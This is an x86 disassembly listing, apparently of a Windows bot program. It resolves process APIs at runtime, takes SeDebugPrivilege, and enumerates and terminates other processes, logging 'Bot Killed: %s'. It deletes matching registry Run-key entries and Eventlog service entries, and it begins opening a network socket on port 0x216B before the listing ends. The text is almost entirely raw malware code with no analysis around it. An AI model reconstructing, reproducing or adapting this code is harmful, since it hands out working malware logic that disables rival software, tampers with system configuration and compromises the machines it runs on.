; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A138	proc near		; CODE XREF: sub_41A690+483p

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 1Ch
		call	dword_427FAC
		test	eax, eax
		jnz	short loc_41A15A
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A15A:				; CODE XREF: sub_41A138+1Cj
					; sub_41A138+55j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41A17E
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_427FC0
		push	eax
		call	ds:off_41D0D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A18F

loc_41A17E:				; CODE XREF: sub_41A138+28j
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		call	dword_427FD0
		test	eax, eax
		jnz	short loc_41A15A

loc_41A18F:				; CODE XREF: sub_41A138+44j
		push	[ebp+arg_4]
		call	ds:dword_41D0D8	; CloseHandle
		mov	al, 1
		leave
		retn
sub_41A138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19C	proc near		; CODE XREF: sub_41A690+3BDp

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 1Ch
		call	dword_427FAC
		test	eax, eax
		jnz	short loc_41A1BE
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A1BE:				; CODE XREF: sub_41A19C+1Cj
					; sub_41A19C+55j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41A1E2
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_427FC0
		push	eax
		call	ds:off_41D0D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A1F3

loc_41A1E2:				; CODE XREF: sub_41A19C+28j
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]
		call	dword_427FD0
		test	eax, eax
		jnz	short loc_41A1BE

loc_41A1F3:				; CODE XREF: sub_41A19C+44j
		push	[ebp+arg_4]
		call	ds:dword_41D0D8	; CloseHandle
		mov	al, 1
		leave
		retn
sub_41A19C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A200	proc near		; CODE XREF: sub_41A690+3D4p

var_228		= dword	ptr -228h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	edi
		push	[ebp+arg_0]
		xor	ebx, ebx
		push	8
		call	dword_427FB4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41A239

loc_41A229:				; CODE XREF: sub_41A200+53j
		xor	al, al

loc_41A22B:				; CODE XREF: sub_41A200+8Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A239:				; CODE XREF: sub_41A200+27j
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	dword_427FA8
		test	eax, eax
		jz	short loc_41A229

loc_41A255:				; CODE XREF: sub_41A200+6Bj
		inc	ebx
		cmp	ebx, 1
		jz	short loc_41A271
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	dword_427FC4
		test	eax, eax
		jnz	short loc_41A255
		xor	bl, bl
		jmp	short loc_41A284
; ---------------------------------------------------------------------------

loc_41A271:				; CODE XREF: sub_41A200+59j
		mov	eax, [ebp+var_214]
		mov	[esi], eax
		mov	eax, [ebp+var_210]
		mov	[esi+4], eax
		mov	bl, 1

loc_41A284:				; CODE XREF: sub_41A200+6Fj
		push	edi
		call	ds:dword_41D0D8	; CloseHandle
		mov	al, bl
		jmp	short loc_41A22B
sub_41A200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1B4h


sub_41A28F	proc near		; CODE XREF: sub_41A645+2Dp

var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-1B4h]
		sub	esp, 234h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+1B4h+var_4], eax
		mov	eax, [ebp+1B4h+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0FFh
		mov	[ebp+1B4h+var_224], eax
		lea	eax, [ebp+1B4h+var_103]
		push	ebx
		push	eax
		mov	[ebp+1B4h+var_234], offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B4h+var_230], offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B4h+var_22C], offset aSoftwareMicr_6 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B4h+var_228], offset aSoftwareMicr_7 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B4h+var_104], bl
		call	sub_407F20
		mov	esi, 100h
		add	esp, 0Ch
		mov	[ebp+1B4h+var_21C], esi
		mov	[ebp+1B4h+var_214], esi
		mov	[ebp+1B4h+var_20C], offset dword_426FB4
		mov	[ebp+1B4h+var_220], 2

loc_41A308:				; CODE XREF: sub_41A28F+160j
		mov	[ebp+1B4h+var_208], ebx

loc_41A30B:				; CODE XREF: sub_41A28F+153j
		mov	eax, [ebp+1B4h+var_208]
		mov	eax, [ebp+eax*4+1B4h+var_234]
		lea	ecx, [ebp+1B4h+var_210]
		push	ecx
		push	1
		push	ebx
		push	eax
		mov	eax, [ebp+1B4h+var_20C]
		push	dword ptr [eax]
		call	ds:off_41D02C
		test	eax, eax
		jnz	loc_41A3D2
		lea	eax, [ebp+1B4h+var_214]
		push	eax
		lea	eax, [ebp+1B4h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B4h+var_21C]
		push	eax
		lea	eax, [ebp+1B4h+var_104]
		push	eax
		mov	[ebp+1B4h+var_218], ebx
		push	ebx
		jmp	short loc_41A3BE
; ---------------------------------------------------------------------------

loc_41A348:				; CODE XREF: sub_41A28F+13Dj
		xor	edi, edi

loc_41A34A:				; CODE XREF: sub_41A28F+10Cj
		mov	eax, [ebp+1B4h+var_224]
		lea	edx, [eax+1]

loc_41A350:				; CODE XREF: sub_41A28F+C6j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41A350
		sub	eax, edx
		push	eax
		push	[ebp+1B4h+var_224]
		lea	eax, [ebp+edi+1B4h+var_204]
		push	eax
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A389
		lea	eax, [ebp+1B4h+var_104]
		push	eax
		mov	eax, [ebp+1B4h+var_208]
		push	[ebp+eax*4+1B4h+var_234]
		mov	eax, [ebp+1B4h+var_20C]
		push	dword ptr [eax]
		call	sub_417722
		add	esp, 0Ch

loc_41A389:				; CODE XREF: sub_41A28F+DDj
		lea	eax, [ebp+1B4h+var_204]
		inc	edi
		lea	edx, [eax+1]

loc_41A390:				; CODE XREF: sub_41A28F+106j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41A390
		sub	eax, edx
		cmp	edi, eax
		jbe	short loc_41A34A
		inc	[ebp+1B4h+var_218]
		lea	eax, [ebp+1B4h+var_214]
		push	eax
		lea	eax, [ebp+1B4h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B4h+var_21C]
		push	eax
		lea	eax, [ebp+1B4h+var_104]
		push	eax
		push	[ebp+1B4h+var_218]
		mov	[ebp+1B4h+var_21C], esi
		mov	[ebp+1B4h+var_214], esi

loc_41A3BE:				; CODE XREF: sub_41A28F+B7j
		push	[ebp+1B4h+var_210]
		call	ds:off_41D020
		cmp	eax, 103h
		jnz	loc_41A348

loc_41A3D2:				; CODE XREF: sub_41A28F+98j
		push	[ebp+1B4h+var_210]
		call	ds:dword_41D010	; RegCloseKey
		inc	[ebp+1B4h+var_208]
		cmp	[ebp+1B4h+var_208], 4
		jb	loc_41A30B
		add	[ebp+1B4h+var_20C], 4
		dec	[ebp+1B4h+var_220]
		jnz	loc_41A308
		mov	ecx, [ebp+1B4h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 1B4h
		leave
		retn
sub_41A28F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A40D	proc near		; CODE XREF: sub_41A45D+189p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	ds:off_41D024
		push	0F01FFh
		push	[esp+10h+arg_0]
		mov	esi, eax
		push	esi
		call	ds:off_41D044
		mov	edi, eax
		mov	ebx, edi
		call	sub_419F50
		push	edi
		call	ds:off_41D03C
		test	eax, eax
		jz	short loc_41A459
		mov	bl, 1

loc_41A447:				; CODE XREF: sub_41A40D+4Ej
		push	esi
		mov	esi, ds:off_41D040
		call	esi ; sub_44FC72
		push	edi
		call	esi ; sub_44FC72
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41A459:				; CODE XREF: sub_41A40D+36j
		xor	bl, bl
		jmp	short loc_41A447
sub_41A40D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2C0h


sub_41A45D	proc near		; CODE XREF: sub_41A645+35p
					; sub_41A645:loc_41A682p

var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_234		= byte ptr -234h
var_233		= byte ptr -233h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_34		= byte ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-2C0h]
		sub	esp, 340h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+2C0h+var_4], eax
		push	esi
		mov	eax, [ebp+2C0h+arg_0]
		push	edi
		push	0Bh
		pop	ecx
		mov	esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"...
		lea	edi, [ebp+2C0h+var_34]
		rep movsd
		movsw
		mov	esi, 0FFh
		push	esi
		mov	[ebp+2C0h+var_340], eax
		xor	edi, edi
		lea	eax, [ebp+2C0h+var_233]
		push	edi
		push	eax
		mov	[ebp+2C0h+var_234], 0
		call	sub_407F20
		push	esi
		lea	eax, [ebp+2C0h+var_133]
		push	edi
		push	eax
		mov	[ebp+2C0h+var_134], 0
		call	sub_407F20
		add	esp, 18h
		lea	eax, [ebp+2C0h+var_33C]
		push	eax
		push	0F003Fh
		push	edi
		lea	eax, [ebp+2C0h+var_34]
		push	eax
		push	80000002h
		call	ds:off_41D02C
		test	eax, eax
		jnz	loc_41A625
		push	ebx
		mov	ebx, 100h
		push	ebx
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		push	edi
		push	[ebp+2C0h+var_33C]
		mov	[ebp+2C0h+var_338], edi
		call	ds:off_41D018
		cmp	eax, 103h
		jz	loc_41A624
		jmp	short loc_41A51A
; ---------------------------------------------------------------------------

loc_41A515:				; CODE XREF: sub_41A45D+1C1j
		mov	esi, 0FFh

loc_41A51A:				; CODE XREF: sub_41A45D+B6j
		push	ebx
		lea	eax, [ebp+2C0h+var_334]
		push	edi
		push	eax
		call	sub_407F20
		push	ebx
		lea	eax, [ebp+2C0h+var_234]
		push	edi
		push	eax
		call	sub_407F20
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		lea	eax, [ebp+2C0h+var_34]
		push	eax
		push	offset aSS_5	; "%s\\%s"
		lea	eax, [ebp+2C0h+var_234]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+2C0h+var_234]
		add	esp, 2Ch
		lea	esi, [eax+1]

loc_41A55F:				; CODE XREF: sub_41A45D+107j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41A55F
		sub	eax, esi
		mov	[ebp+eax+2C0h+var_234],	cl
		lea	eax, [ebp+2C0h+var_134]
		push	offset aLdm	; "LDM"
		push	eax
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A602
		push	7
		mov	edi, offset aNetdde ; "NetDDE"
		lea	esi, [ebp+2C0h+var_134]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_41A600
		push	ebx
		lea	eax, [ebp+2C0h+var_334]
		push	eax
		push	offset aEventmessagefi ; "EventMessageFile"
		lea	eax, [ebp+2C0h+var_234]
		push	eax
		push	1
		call	sub_4176BD
		add	esp, 14h
		test	al, al
		jz	short loc_41A600
		xor	esi, esi

loc_41A5BB:				; CODE XREF: sub_41A45D+1A1j
		mov	eax, [ebp+2C0h+var_340]
		lea	edx, [eax+1]

loc_41A5C1:				; CODE XREF: sub_41A45D+169j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41A5C1
		sub	eax, edx
		push	eax
		push	[ebp+2C0h+var_340]
		lea	eax, [ebp+esi+2C0h+var_334]
		push	eax
		call	sub_402DA9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A5EC
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		call	sub_41A40D
		pop	ecx

loc_41A5EC:				; CODE XREF: sub_41A45D+180j
		lea	eax, [ebp+2C0h+var_334]
		inc	esi
		lea	edx, [eax+1]

loc_41A5F3:				; CODE XREF: sub_41A45D+19Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41A5F3
		sub	eax, edx
		cmp	esi, eax
		jbe	short loc_41A5BB

loc_41A600:				; CODE XREF: sub_41A45D+13Bj
					; sub_41A45D+15Aj
		xor	edi, edi

loc_41A602:				; CODE XREF: sub_41A45D+127j
		inc	[ebp+2C0h+var_338]
		push	ebx
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		push	[ebp+2C0h+var_338]
		push	[ebp+2C0h+var_33C]
		call	ds:off_41D018
		cmp	eax, 103h
		jnz	loc_41A515

loc_41A624:				; CODE XREF: sub_41A45D+B0j
		pop	ebx

loc_41A625:				; CODE XREF: sub_41A45D+8Aj
		push	[ebp+2C0h+var_33C]
		call	ds:dword_41D010	; RegCloseKey
		mov	ecx, [ebp+2C0h+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		add	ebp, 2C0h
		leave
		retn
sub_41A45D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A645	proc near		; CODE XREF: sub_41A690+42Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:off_41D0F4
		test	eax, eax
		jz	short loc_41A68C
		push	7D0h
		call	ds:off_41D0F8
		push	[ebp+arg_4]
		call	ds:off_41D0CC
		test	eax, eax
		push	[ebp+arg_8]
		jz	short loc_41A682
		call	sub_41A28F
		push	[ebp+arg_8]
		call	sub_41A45D
		pop	ecx
		jmp	short loc_41A687
; ---------------------------------------------------------------------------

loc_41A682:				; CODE XREF: sub_41A645+2Bj
		call	sub_41A45D

loc_41A687:				; CODE XREF: sub_41A645+3Bj
		pop	ecx
		mov	al, 1
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A68C:				; CODE XREF: sub_41A645+10j
		xor	al, al
		pop	ebp
		retn
sub_41A645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A690	proc near		; DATA XREF: sub_41C28D+390o

var_569		= byte ptr -569h
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= dword	ptr -55Ch
var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_540		= dword	ptr -540h
var_524		= byte ptr -524h
var_420		= byte ptr -420h
var_318		= byte ptr -318h
var_317		= byte ptr -317h
var_210		= byte ptr -210h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 56Ch
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+56Ch+var_4], eax
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	103h
		lea	eax, [esp+57Ch+var_317]
		push	ebx
		push	eax
		mov	[esp+584h+var_318], bl
		call	sub_407F20
		add	esp, 0Ch
		mov	[esp+578h+var_558], offset dword_4207F4
		mov	[esp+578h+var_554], offset dword_420804
		mov	[esp+578h+var_550], offset dword_420810
		call	sub_402EA8	; GetCurrentProcessId
		mov	edi, ds:dword_41D0E0
		push	offset aOpenthread ; "OpenThread"
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		mov	[esp+580h+var_54C], eax
		call	edi	; GetModuleHandleA
		mov	esi, ds:off_41D0E8
		push	eax
		call	esi ; sub_443AC1
		push	offset aOpenprocess ; "OpenProcess"
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		mov	dword_427FC0, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	offset aKernel32_dll_2 ; "kernel32.dll"
		mov	dword_427FCC, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aProcess32first ; "Process32First"
		push	offset aKernel32_dll_3 ; "kernel32.dll"
		mov	dword_427FB4, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aProcess32next ;	"Process32Next"
		push	offset aKernel32_dll_4 ; "kernel32.dll"
		mov	dword_427FB8, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aModule32first ;	"Module32First"
		push	offset aKernel32_dll_5 ; "kernel32.dll"
		mov	dword_427FBC, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aModule32next ; "Module32Next"
		push	offset aKernel32_dll_6 ; "kernel32.dll"
		mov	dword_427FA8, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aThread32first ;	"Thread32First"
		push	offset aKernel32_dll_7 ; "kernel32.dll"
		mov	dword_427FC4, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aThread32next ; "Thread32Next"
		push	offset aKernel32_dll_8 ; "kernel32.dll"
		mov	dword_427FAC, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aReadprocessmem ; "ReadProcessMemory"
		push	offset aKernel32_dll_9 ; "kernel32.dll"
		mov	dword_427FD0, eax
		call	edi	; GetModuleHandleA
		push	eax
		call	esi ; sub_443AC1
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	offset aPsapi_dll ; "psapi.dll"
		mov	dword_427FB0, eax
		call	ds:off_41D0E4
		push	eax
		call	esi ; sub_443AC1
		cmp	dword_427FC0, ebx
		mov	dword_427FC8, eax
		jz	loc_41AB5B
		cmp	dword_427FCC, ebx
		jz	loc_41AB5B
		cmp	dword_427FB4, ebx
		jz	loc_41AB5B
		cmp	dword_427FB8, ebx
		jz	loc_41AB5B
		cmp	dword_427FBC, ebx
		jz	loc_41AB5B
		cmp	dword_427FA8, ebx
		jz	loc_41AB5B
		cmp	dword_427FC4, ebx
		jz	loc_41AB5B
		cmp	dword_427FAC, ebx
		jz	loc_41AB5B
		cmp	dword_427FD0, ebx
		jz	loc_41AB5B
		cmp	dword_427FB0, ebx
		jz	loc_41AB5B
		cmp	eax, ebx
		jz	loc_41AB5B
		mov	edi, 104h
		push	edi
		lea	eax, [esp+57Ch+var_318]
		push	eax
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		lea	eax, [esp+578h+var_558]
		xor	esi, esi
		mov	[esp+578h+var_568], eax

loc_41A877:				; CODE XREF: sub_41A690+238j
		mov	ecx, [esp+578h+var_568]
		push	dword ptr [ecx]
		lea	ecx, [esp+57Ch+var_318]
		push	ecx
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [esp+esi+584h+var_210]
		push	103h
		push	eax
		call	sub_402EAE
		lea	eax, [esp+esi+58Ch+var_210]
		add	esp, 14h
		lea	ecx, [eax+1]

loc_41A8A9:				; CODE XREF: sub_41A690+21Ej
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_41A8A9
		add	[esp+578h+var_568], 4
		sub	eax, ecx
		add	eax, esi
		add	esi, edi
		cmp	esi, 30Ch
		mov	[esp+eax+578h+var_210],	bl
		jb	short loc_41A877

loc_41A8CA:				; CODE XREF: sub_41A690+4C6j
		push	ebx
		push	0Fh
		mov	[esp+580h+var_548], 128h
		call	dword_427FB4
		lea	ecx, [esp+578h+var_548]
		push	ecx
		push	eax
		mov	[esp+580h+var_55C], eax
		call	dword_427FB8
		test	eax, eax
		jz	loc_41AB4B
		jmp	loc_41AB34
; ---------------------------------------------------------------------------

loc_41A8F8:				; CODE XREF: sub_41A690+4B5j
		mov	edi, ds:off_41D100
		lea	eax, [esp+578h+var_564]
		push	eax
		push	ebx
		push	28h
		mov	[esp+584h+var_569], 1
		call	edi ; sub_445488
		mov	esi, ds:off_41D038
		push	eax
		call	esi ; sub_44F164
		test	eax, eax
		jnz	short loc_41A94C
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 3F0h
		jnz	short loc_41A948
		push	2
		call	ds:off_41D030
		test	eax, eax
		jnz	short loc_41A937
		mov	[esp+578h+var_569], bl

loc_41A937:				; CODE XREF: sub_41A690+2A1j
		lea	eax, [esp+578h+var_564]
		push	eax
		push	ebx
		push	28h
		call	edi ; sub_445488
		push	eax
		call	esi ; sub_44F164
		test	eax, eax
		jnz	short loc_41A94C

loc_41A948:				; CODE XREF: sub_41A690+295j
		mov	[esp+578h+var_569], bl

loc_41A94C:				; CODE XREF: sub_41A690+288j
					; sub_41A690+2B6j
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	[esp+580h+var_564]
		call	sub_41A025
		add	esp, 0Ch
		test	al, al
		jnz	short loc_41A971
		push	[esp+578h+var_564]
		call	ds:dword_41D0D8	; CloseHandle
		mov	[esp+578h+var_569], bl

loc_41A971:				; CODE XREF: sub_41A690+2D1j
		push	[esp+578h+var_540]
		push	ebx
		push	1F0FFFh
		call	dword_427FCC
		cmp	eax, ebx
		mov	[esp+578h+var_568], eax
		jnz	short loc_41A98D
		mov	[esp+578h+var_569], bl

loc_41A98D:				; CODE XREF: sub_41A690+2F7j
		mov	esi, 104h
		push	esi
		lea	eax, [esp+57Ch+var_420]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+57Ch+var_420]
		push	eax
		push	ebx
		push	[esp+584h+var_568]
		call	dword_427FC8
		mov	[esp+578h+var_560], ebx
		lea	edi, [esp+578h+var_210]

loc_41A9C3:				; CODE XREF: sub_41A690+352j
		lea	eax, [esp+578h+var_420]
		push	eax
		push	edi
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A9E6
		inc	[esp+578h+var_560]
		add	edi, esi
		cmp	[esp+578h+var_560], 3
		jb	short loc_41A9C3
		jmp	short loc_41A9EA
; ---------------------------------------------------------------------------

loc_41A9E6:				; CODE XREF: sub_41A690+345j
		mov	[esp+578h+var_569], bl

loc_41A9EA:				; CODE XREF: sub_41A690+354j
		cmp	[esp+578h+var_569], bl
		jz	loc_41AB1A
		push	ebx
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		push	[esp+580h+var_564]
		call	sub_41A025
		xor	eax, eax
		lea	edi, [esp+584h+var_558]
		stosd
		stosd
		mov	eax, [esp+584h+var_54C]
		add	esp, 0Ch
		cmp	[esp+578h+var_540], eax
		jz	loc_41AB1A
		lea	eax, [esp+578h+var_524]
		push	offset aSystem	; "System"
		push	eax
		call	sub_402C69
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_41AB1A
		mov	esi, [esp+578h+var_540]
		push	ebx
		push	4
		call	dword_427FB4
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AB1A
		push	eax
		push	esi
		call	sub_41A19C
		cmp	al, bl
		pop	ecx
		pop	ecx
		jz	loc_41AB1A
		push	[esp+578h+var_540]
		lea	esi, [esp+57Ch+var_558]
		call	sub_41A200
		test	al, al
		pop	ecx
		jz	loc_41AAFF
		push	[esp+578h+var_554]
		call	sub_402A08
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_41AA83
		push	ebx
		jmp	short loc_41AAF9
; ---------------------------------------------------------------------------

loc_41AA83:				; CODE XREF: sub_41A690+3EEj
		push	eax
		push	[esp+57Ch+var_554]
		push	[esp+580h+var_558]
		push	[esp+584h+var_568]
		call	sub_41A0C2
		add	esp, 10h
		cmp	al, bl
		jz	short loc_41AAFF
		push	100h
		call	sub_402A08
		pop	ecx
		mov	esi, eax
		lea	eax, [esp+578h+var_524]
		push	eax
		lea	eax, [esp+57Ch+var_420]
		push	eax
		push	[esp+580h+var_568]
		call	sub_41A645
		add	esp, 0Ch
		test	al, al
		jz	short loc_41AAF8
		push	esi
		call	sub_402E05
		pop	ecx
		push	eax
		mov	ebx, offset aBb	; "¡¡ÉÉ"
		call	sub_419EC1
		pop	ecx
		lea	eax, [esp+578h+var_420]
		push	eax
		push	offset aBotKilledS ; "Bot Killed: %s"
		push	esi
		push	0
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 14h
		xor	ebx, ebx

loc_41AAF8:				; CODE XREF: sub_41A690+434j
		push	esi

loc_41AAF9:				; CODE XREF: sub_41A690+3F1j
		call	sub_402F5B
		pop	ecx

loc_41AAFF:				; CODE XREF: sub_41A690+3DCj
					; sub_41A690+40Aj
		mov	esi, [esp+578h+var_540]
		push	ebx
		push	4
		call	dword_427FB4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB1A
		push	eax
		push	esi
		call	sub_41A138
		pop	ecx
		pop	ecx

loc_41AB1A:				; CODE XREF: sub_41A690+35Ej
					; sub_41A690+386j ...
		push	[esp+578h+var_564]
		mov	esi, ds:dword_41D0D8
		call	esi	; CloseHandle
		push	[esp+578h+var_568]
		call	esi	; CloseHandle
		push	1
		call	ds:off_41D0F8

loc_41AB34:				; CODE XREF: sub_41A690+263j
		lea	eax, [esp+578h+var_548]
		push	eax
		push	[esp+57Ch+var_55C]
		call	dword_427FBC
		test	eax, eax
		jnz	loc_41A8F8

loc_41AB4B:				; CODE XREF: sub_41A690+25Dj
		push	927C0h
		call	ds:off_41D0F8
		jmp	loc_41A8CA
; ---------------------------------------------------------------------------

loc_41AB5B:				; CODE XREF: sub_41A690+14Fj
					; sub_41A690+15Bj ...
		call	ds:dword_41D0DC	; GetCurrentThreadId
		push	eax
		call	sub_41481B
		pop	ecx
		mov	ecx, [esp+578h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_41A690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB81	proc near		; CODE XREF: sub_41ACC3+98p

var_5B4		= word ptr -5B4h
var_5B2		= word ptr -5B2h
var_5B0		= dword	ptr -5B0h
var_5A4		= byte ptr -5A4h
var_5A3		= byte ptr -5A3h
var_1A4		= byte ptr -1A4h
var_1A3		= byte ptr -1A3h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5B4h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	edi
		xor	ebx, ebx
		push	3FFh
		lea	eax, [ebp+var_5A3]
		push	ebx
		push	eax
		mov	[ebp+var_5A4], bl
		call	sub_407F20
		push	18Fh
		lea	eax, [ebp+var_1A3]
		push	ebx
		push	eax
		mov	[ebp+var_1A4], bl
		call	sub_407F20
		xor	eax, eax
		mov	[ebp+var_14], bl
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_5B4]
		stosd
		stosd
		stosd
		stosd
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		push	216Bh
		mov	[ebp+var_5B4], 2
		mov	[ebp+var_5B0], eax
		call	ds:dword_41D270	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_5B2], ax
		call	ds:dword_41D220	; socket
